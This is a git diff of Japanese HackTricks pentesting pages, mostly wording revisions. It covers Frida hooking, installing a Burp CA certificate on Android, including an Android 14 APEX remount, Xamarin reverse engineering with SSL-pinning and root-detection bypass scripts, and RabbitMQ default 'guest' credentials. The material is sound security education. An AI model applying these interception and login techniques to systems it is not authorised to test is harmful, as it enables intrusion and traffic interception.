* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのスワッグ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
* [**公式のPEASS&HackTricksのスワッグ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
もしあなたが**ハッキングのキャリア**に興味があり、**アンハッカブルをハック**したい場合は、**採用中です**(流暢なポーランド語の読み書きが必要です)。
|
||||
もしあなたが**ハッキングのキャリア**に興味があり、**解読不可能なものをハック**したい場合 - **採用中です!**(流暢なポーランド語の読み書きが必要です)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -24,7 +24,7 @@
|
|||
|
||||
## Python
|
||||
|
||||
Fridaを使用すると、実行中のアプリケーションの関数に**JavaScriptコードを挿入**することができます。しかし、**python**を使用して**フックを呼び出したり**、**フックと対話したり**することもできます。
|
||||
Fridaを使用すると、実行中のアプリケーションの関数に**JavaScriptコードを挿入**することができます。しかし、**python**を使用して**フックを呼び出したり**、**フック**と**対話したり**することもできます。
|
||||
|
||||
この簡単なpythonスクリプトは、このチュートリアルで提案されているすべての例に使用できます:
|
||||
```python
|
||||
|
@ -94,7 +94,7 @@ onComplete: function() { }
|
|||
|
||||
### 静的関数
|
||||
|
||||
関数が静的な場合、単純に呼び出すことができます。
|
||||
関数が静的な場合、単純に呼び出すことができます:
|
||||
```javascript
|
||||
//hook2.js
|
||||
Java.perform(function () {
|
||||
|
@ -129,11 +129,11 @@ return encrypted_ret;
|
|||
```
|
||||
## 重要
|
||||
|
||||
このチュートリアルでは、メソッドの名前と_.implementation_を使用してメソッドをフックしました。しかし、もし同じ名前の**複数のメソッド**がある場合は、フックしたいメソッドを**引数の型を指定して明示する必要があります**。
|
||||
このチュートリアルでは、メソッドの名前と_.implementation_を使用してメソッドをフックしました。しかし、もし同じ名前の**複数のメソッド**がある場合は、フックしたいメソッドを**引数のタイプを指定して明示する必要があります**。
|
||||
|
||||
次のチュートリアルでそれを見ることができます。
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
もし**ハッキングのキャリア**に興味があり、ハッキングできないものをハックしたい場合は、**採用中です**(流暢なポーランド語の読み書きが必要です)。
|
||||
|
||||
|
@ -143,9 +143,9 @@ return encrypted_ret;
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
||||
|
|
|
@ -18,7 +18,7 @@
|
|||
|
||||
![](<../../.gitbook/assets/image (367).png>)
|
||||
|
||||
**証明書をDer形式でエクスポート**し、それを**Androidが理解できる形式に変換**しましょう。なお、**AndroidマシンのAVDでburp証明書を設定するには、このマシンを`-writable-system`オプションで実行する必要があります。**
|
||||
**証明書をDer形式でエクスポート**し、それを**Androidが理解できる形式に変換**しましょう。なお、**AVDのAndroidマシンでburp証明書を設定するには、このマシンを`-writable-system`オプションで実行する必要があります。**
|
||||
例えば、次のように実行できます:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
|
@ -52,15 +52,15 @@ adb reboot #Now, reboot the machine
|
|||
|
||||
1. **CA証明書をインストールする**:DER形式のBurp証明書を`.crt`に拡張子を変更して、モバイルにドラッグ&ドロップするだけで、ダウンロードフォルダに保存されます。次に、「証明書をインストール」->「CA証明書」に移動します。
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="164"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="164"><figcaption></figcaption></figure>
|
||||
|
||||
* 証明書が正しく保存されていることを確認するために、「信頼された証明書」->「ユーザー」に移動します。
|
||||
* 証明書が正しく保存されたことを確認するために、「信頼された証明書」->「ユーザー」に移動します。
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="334"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="334"><figcaption></figcaption></figure>
|
||||
|
||||
2. **システム信頼済みにする**:Magiscモジュール[MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts)(.zipファイル)をダウンロードし、それを電話にドラッグ&ドロップします。次に、電話のMagicsアプリに移動し、**`Modules`**セクションに移動し、**`ストレージからインストール`**をクリックし、`.zip`モジュールを選択してインストールしたら、電話を**再起動**します。
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1).png" alt="" width="345"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1).png" alt="" width="345"><figcaption></figcaption></figure>
|
||||
|
||||
* 再起動後、「信頼された証明書」->「システム」に移動し、Postswigger証明書が存在することを確認します。
|
||||
|
||||
|
@ -70,20 +70,20 @@ adb reboot #Now, reboot the machine
|
|||
|
||||
変更点:
|
||||
|
||||
* これまで、システム信頼済みのCA証明書は**`/system/etc/security/cacerts/`**に存在していました。標準のAOSPエミュレータでは、これらは最小限のセットアップで**ルートアクセスで直接変更**することができ、**すぐにどこでも効果が現れました**。
|
||||
* これまで、システム信頼済みのCA証明書は**`/system/etc/security/cacerts/`**に存在していました。標準のAOSPエミュレータでは、これらは最小限のセットアップで**ルートアクセスで直接変更**することができ、すぐに**すべての場所に効果が現れました**。
|
||||
* Android 14では、システム信頼済みのCA証明書は一般的に**`/apex/com.android.conscrypt/cacerts`**に存在し、**`/apex`全体が変更不可能**です。
|
||||
* この**APEX cacertsパスは書き込み可能にリマウントできません** - リマウントは単純に失敗します。実際、ルートシェルからこのパス全体をアンマウントしても、アプリは証明書を問題なく読み取ることができます。
|
||||
* トップにtmpfsディレクトリをマウントする代替手法も機能しません - たとえ`ls /apex/com.android.conscrypt/cacerts`が何も返さない(または他の任意の値を返す)場合でも、アプリは同じ元のデータを見ることができます。
|
||||
* `/apex`マウントは[明示的にマウントされています](https://cs.android.com/android/platform/superproject/main/+/main:system/core/init/mount\_namespace.cpp;l=97;drc=566c65239f1cf3fcb0d8745715e5ef1083d4bd3a) **PRIVATEプロパゲーションで**、したがって`/apex`パス内のマウントの変更はプロセス間で共有されません。
|
||||
* この**APEX cacertsパスは書き込み可能にリマウントできません** - リマウントは単に失敗します。実際、ルートシェルからパス全体をアンマウントしても、アプリは証明書を問題なく読み取ることができます。
|
||||
* トップにtmpfsディレクトリをマウントする代替手法も機能しません - これにより、`ls /apex/com.android.conscrypt/cacerts`は何も返さない(または任意の内容を返す)かもしれませんが、アプリは同じ元のデータを見ることができます。
|
||||
* `/apex`マウントは[明示的にマウントされています](https://cs.android.com/android/platform/superproject/main/+/main:system/core/init/mount\_namespace.cpp;l=97;drc=566c65239f1cf3fcb0d8745715e5ef1083d4bd3a) **PRIVATEプロパゲーションで**、したがって`/apex`パス内のマウントへの変更はプロセス間で共有されません。
|
||||
|
||||
これはOSを起動する`init`プロセスによって行われ、それが親からコピーされた新しいマウント名前空間を持つZygoteプロセス(独自の`/apex`マウントを含む)を起動し、デバイス上でアプリが起動されるたびに各アプリプロセスを開始します(それぞれが同じプライベート`/apex`マウントをコピーします)。
|
||||
|
||||
### マウントポイントを再帰的にリマウントする
|
||||
### マウントポイントの再帰的なリマウント
|
||||
|
||||
* `/apex`を手動でリマウントし、PRIVATEプロパゲーションを削除して書き込み可能にすることができます(皮肉なことに、プライベートプロパゲーションを完全に削除すると、どこにでもプロパゲーションされるようです)
|
||||
* `/apex`を手動でリマウントし、PRIVATEプロパゲーションを削除して書き込み可能にすることができます(皮肉なことに、プライベートプロパゲーションを完全に削除すると、どこにでもプロパゲートされるようです)
|
||||
* `/apex/com.android.conscrypt`の内容を別の場所にコピーします
|
||||
* 次に、`/apex/com.android.conscrypt`を完全にアンマウントします - これにより、このモジュールを不変に提供する読み取り専用マウントが削除されます
|
||||
* 次に、コンテンツをコピーして、それが直接`/apex`マウントに存在するようにします(これを素早く行う必要があります。そうしないと、[おそらく](https://infosec.exchange/@g1a55er/111069489513139531)クラッシュが発生する可能性があります)
|
||||
* 次に、コンテンツをコピーして、それが直接`/apex`マウントに存在するようにします(これを素早く行う必要があります。[おそらく](https://infosec.exchange/@g1a55er/111069489513139531)、それ以外の場合はクラッシュが発生する可能性があります)
|
||||
* これは即座に効果がありますが、すべてを一貫した状態に戻すために`system_server`を終了することをお勧めします
|
||||
```bash
|
||||
# Create a separate temp directory, to hold the current certificates
|
||||
|
@ -174,7 +174,7 @@ nsenter --mount=/proc/$APP_PID/ns/mnt -- \
|
|||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksであなたの会社を宣伝**したいですか?または、**PEASSの最新バージョンやHackTricksのPDFをダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけて、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションを発見してください。
|
||||
* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -36,15 +36,15 @@ Objective-Cランタイムと共に実行されます。ランタイム環境は
|
|||
|
||||
以下の図は、このアーキテクチャを示しています:
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### .NetランタイムとMonoフレームワークとは何ですか?
|
||||
### .NetランタイムとMonoフレームワークとは?
|
||||
|
||||
**.Netフレームワークは、開発者がアプリケーションを作成するために使用できるアセンブリ、クラス、および名前空間のセット**です。.Netランタイムはコンパイルされたコードを実行し、このプロセスは管理されたコードの実行と呼ばれます。.NETランタイムは、プラットフォームの独立性を確保し、古いフレームワークバージョンと互換性のあるいくつかの機能を提供します。
|
||||
**.Netフレームワークは、開発者がアプリケーションを作成するために使用できるアセンブリ、クラス、および名前空間のセット**です。.Netランタイムはコンパイルされたコードを実行し、このプロセスはマネージドコードの実行と呼ばれます。.NETランタイムは、プラットフォームの独立性を確保し、古いフレームワークバージョンと互換性のあるいくつかの機能を提供します。
|
||||
|
||||
**Monoフレームワーク**は、2005年にLinux(Ximian/SuSe/Novell)向けの.NET Frameworkの実装として開始されました。Microsoftのスポンサーを受け、Xamarinが主導するMonoは、Common Language RuntimeおよびC#のECMA標準に基づく.NETフレームワークのオープンソース実装です。
|
||||
|
||||
## Xamarinアプリの逆向きエンジニアリング技術
|
||||
## Xamarinアプリのリバースエンジニアリング技術
|
||||
|
||||
### Xamarinアセンブリの逆コンパイル
|
||||
|
||||
|
@ -52,25 +52,25 @@ Objective-Cランタイムと共に実行されます。ランタイム環境は
|
|||
|
||||
モジュールウィンドウを開くには、デバッグ > ウィンドウ > モジュールを選択します。逆コンパイルが必要なモジュールを検出したら、右クリックして「ソースをシンボルファイルに逆コンパイル」を選択します。この操作により、ソースコードが含まれるシンボルファイルが作成され、それによってソースコードから直接サードパーティのコードに入ることができます。
|
||||
|
||||
**Visual Studio**は、シンボルがなくても管理されたコードを逆コンパイルし、コードを表示したり、変数を検査したり、ブレークポイントを設定したりすることができます。ソースコードをディスクに抽出するには、埋め込まれたソースを持つモジュールで右クリックし、「埋め込まれたソースを抽出」をクリックします。これにより、ソースファイルがその他のフォルダにエクスポートされ、さらなる分析が可能になります。
|
||||
**Visual Studio**は、シンボルがなくてもマネージドコードを逆コンパイルし、コードを表示したり、変数を検査したり、ブレークポイントを設定したりすることができます。ソースコードをディスクに抽出するには、埋め込まれたソースを持つモジュールで右クリックし、「埋め込まれたソースを抽出」をクリックします。これにより、ソースファイルがさらなる分析のためにMiscellaneous filesフォルダにエクスポートされます。
|
||||
|
||||
### XamarinアプリのJITとAOTコンパイル
|
||||
|
||||
これらは、C#ベースのXamarinコードをアプリケーションにコンパイルするための2つのオプション、つまり**Just in timeコンパイルとahead of timeコンパイル**です。コンパイルの方法によって、アプリケーションコードがapkまたはipaファイル内でどのように出荷されるかが影響を受けます。以下でそれを見てみましょう:
|
||||
|
||||
\- **Android**:Xamarinでは、**AndroidのJITとAOTフラグの両方を使用してコンパイル**することができます。ハイブリッドAOTモードを使用して最も高速な実行速度を得る方法もあります。ただし、フルAOTモードはエンタープライズライセンスのみで利用可能です。
|
||||
\- **Android**:Xamarinでは、**AndroidのJITとAOTフラグの両方を使用してコンパイル**することができます。ハイブリッドAOTモードを使用して最も高速な実行を得る方法もあります。ただし、フルAOTモードはエンタープライズライセンスのみで利用可能です。
|
||||
|
||||
\- **iOS**:iOSの場合、**ahead-of-timeコンパイル**のオプションは1つだけです。これは、Appleのポリシーにより、デバイス上で動的に生成されたコードの実行が禁止されているためです。
|
||||
|
||||
{% hint style="info" %}
|
||||
フルAOTコンパイルされたアプリケーションに遭遇し、開発者がビルドサイズを減らすためにILアセンブリファイルを削除した場合、リバースエンジニアリングにはlibフォルダの.dll.soファイルまたは`libmonodroid_bundle_app.so`ファイルからdll
|
||||
フルAOTコンパイルされたアプリケーションに遭遇し、開発者がビルドサイズを減らすためにILアセンブリファイルを削除した場合、リバースエンジニアリングにはlibフォルダの.dll.soファイルまたは`libmonodroid_bundle_app.so`ファイルから
|
||||
## APK/IPAからdllファイルを取得する
|
||||
|
||||
単にapk/ipaファイルを解凍し、assembliesディレクトリの下に存在するすべてのファイルをコピーします。
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Androidの場合、これらのdllファイルは圧縮されており、直接逆コンパイルには使用できません。幸いなことに、[XamAsmUnZ](https://github.com/cihansol/XamAsmUnZ)や[xamarin-decompress](https://github.com/NickstaDB/xamarin-decompress)などのツールを使用してこれらのdllファイルを解凍することができます。
|
||||
Androidの場合、これらのdllファイルは圧縮されており、直接脱コンパイルに使用することはできません。幸いなことに、[XamAsmUnZ](https://github.com/cihansol/XamAsmUnZ)や[xamarin-decompress](https://github.com/NickstaDB/xamarin-decompress)などのツールを使用してこれらのdllファイルを解凍することができます。
|
||||
```
|
||||
python3 xamarin-decompress.py -o /path/to/decompressed/apk
|
||||
```
|
||||
|
@ -92,7 +92,7 @@ iOSの場合、IPAファイル内の**dllファイルは直接デコンパイラ
|
|||
|
||||
## 動的解析
|
||||
|
||||
アプリケーションにSSLピニングが設定されているかどうかを確認してください。設定されていない場合、システムとしてのBurpを使用して、CAを介してリクエストを傍受することができます。ここでは、JavaまたはObjCランタイムを使用したFridaは機能しませんが、幸いなことに、メソッドにフックするために使用できるツールがあります。
|
||||
アプリケーションにSSLピニングが設定されているかどうかを確認してください。設定されていない場合、BurpをシステムのCAとして使用してリクエストを傍受することができます。ここでは、JavaまたはObjCランタイムを使用したFridaは機能しませんが、幸いなことに、メソッドにフックするために使用できるツールがあります。
|
||||
|
||||
[**Fridax**](https://github.com/NorthwaveSecurity/fridax)は、Xamarinアプリ内の.NETバイナリをランタイムで簡単に変更することができます。静的解析を使用して、アプリ内に存在するさまざまなメソッドを特定し、Fridaxを使用して後で動的解析のためにフックすることができます。以下は、ルート検出やSSLピニングのバイパスに役立ついくつかのFridaスクリプトです:
|
||||
|
||||
|
@ -109,10 +109,10 @@ iOSの場合、IPAファイル内の**dllファイルは直接デコンパイラ
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンやHackTricksのPDFをダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか?または、HackTricksを**PDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[NFT](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -12,9 +12,9 @@
|
|||
|
||||
</details>
|
||||
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
もし**ハッキングのキャリア**に興味があり、**解読不可能なものをハック**したい場合は、**採用中です**(流暢なポーランド語の読み書きが必要です)。
|
||||
もし、**ハッキングのキャリア**に興味があり、アンハッカブルをハックしたい場合は、**採用中です!**(流暢なポーランド語の読み書きが必要です)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -30,7 +30,7 @@ RabbitMQについては、[**5671,5672 - Pentesting AMQP**](5671-5672-pentesting
|
|||
|
||||
デフォルトの資格情報は "_**guest**_":"_**guest**_" です。動作しない場合は、[**ログインをブルートフォース**](../generic-methodologies-and-resources/brute-force.md#http-post-form)してみることができます。
|
||||
|
||||
このモジュールを手動で起動するには、次のコマンドを実行する必要があります:
|
||||
このモジュールを手動で開始するには、次のコマンドを実行する必要があります:
|
||||
```
|
||||
rabbitmq-plugins enable rabbitmq_management
|
||||
service rabbitmq-server restart
|
||||
|
@ -56,7 +56,7 @@ Content-Length: 267
|
|||
|
||||
* `port:15672 http`
|
||||
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
もし**ハッキングのキャリア**に興味があり、**解読不能なものをハック**したい場合は、**採用中です!**(流暢なポーランド語の読み書きが必要です)。
|
||||
|
||||
|
@ -69,7 +69,7 @@ Content-Length: 267
|
|||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -4,7 +4,7 @@
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
|
@ -12,7 +12,7 @@
|
|||
|
||||
</details>
|
||||
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
もし、**ハッキングのキャリア**に興味があり、**解読不能なものをハック**したい場合は、**採用中です!**(流暢なポーランド語の読み書きが必要です)。
|
||||
|
||||
|
@ -20,20 +20,20 @@
|
|||
|
||||
## 基本情報
|
||||
|
||||
